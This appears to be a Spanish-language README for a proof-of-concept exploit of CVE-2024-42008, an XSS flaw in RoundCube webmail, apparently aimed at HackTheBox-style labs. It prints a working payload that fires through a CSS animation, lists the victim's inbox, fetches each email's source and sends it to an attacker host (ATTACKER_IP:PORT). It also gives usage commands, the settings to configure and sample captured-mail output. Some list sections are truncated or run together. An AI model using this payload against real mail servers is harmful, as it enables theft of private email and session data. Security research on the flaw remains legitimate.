
Exploit de prueba de concepto para CVE-2024-42008, una vulnerabilidad de Cross-Site Scripting en el webmail RoundCube. Entrega cargas útiles XSS a través de formularios de contacto para robar correos electrónicos, credenciales y tokens de sesión en entornos de pruebas de penetración autorizados.
Este repositorio contiene una prueba de concepto del exploit para CVE-2024-42008, una vulnerabilidad de Cross-Site Scripting (XSS) en la aplicación webmail RoundCube. Este exploit está diseñado con fines educativos y para entornos de pruebas de penetración controlados como HackTheBox.
La vulnerabilidad existe en rcmail_action_mail_get->run() y permite a atacantes remotos ejecutar JavaScript arbitrario en los navegadores de las víctimas. El fallo proviene de una validación de entrada insuficiente al procesar contenido de correo electrónico, particularmente en el manejo de animaciones CSS y contextos de ejecución de JavaScript.
Vector de Ataque Clave:
onanimationstart eluden los filtros de contenidoUna explotación exitosa permite a los atacantes:
El exploit consta de tres componentes principales:
// El payload XSS central utiliza animaciones CSS para activar JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
// 1. Obtener la lista de correos de la Bandeja de entrada de la víctima
fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
.then(r=>r.text())
.then(t=>{
// 2. Extraer los UIDs de correo usando expresiones regulares
[...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
// 3. Para cada correo, obtener el código fuente completo
fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
.then(r=>r.text())
.then(data=>{
// 4. Exfiltrar los datos del correo al servidor del atacante
fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
})
})
})
; foo=bar">
pip install requests
# Entrega de un único payload
python cve-2024-42008-exploit.py
# Modo continuo (cada 30 segundos)
python cve-2024-42008-exploit.py -c
# Intervalo personalizado (cada 60 segundos)
python cve-2024-42008-exploit.py -c -i 60
# Modo depuración con proxy
python cve-2024-42008-exploit.py -d
Edite el script para configurar:
ATTACKER_IP: Dirección IP de su servidor de escuchaATTACKER_PORT: Puerto para recibir datos exfiltradosRECIPIENT_EMAIL: Dirección de correo objetivoTARGET_URL: Instancia vulnerable de RoundCubePROXY: Servidor proxy para depuración (Burp Suite/Caido)| Opción | Descripción |
|---|---|
-d, --debug | Activar modo depuración con soporte de proxy |
-c, --continuous | Enviar payloads continuamente |
-i, --interval | Intervalo entre payloads (por defecto: 30s) |
Indicadores de Detección:
onanimationstart en HTMLEstrategias de Mitigación:
Consideraciones de Prueba:
⚠️ ADVERTENCIA: Este exploit se proporciona únicamente con fines educativos y de pruebas autorizadas.
[+] Escuchando en 10.10.14.209:8001 para datos exfiltrados...
[2024-07-09 10:30:15] ¡Solicitud POST enviada! Código de estado: 200
[+] 📩 Datos de correo capturados:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Contenido del correo]
--------------------------------------------------
[+] 🔥 Datos de correo guardados en emails.log
Este código se proporciona con fines educativos y para pruebas de penetración autorizadas únicamente. Los autores no se hacen responsables por cualquier uso indebido o daño causado por este software. Asegúrese siempre de tener la autorización adecuada antes de probar cualquier sistema.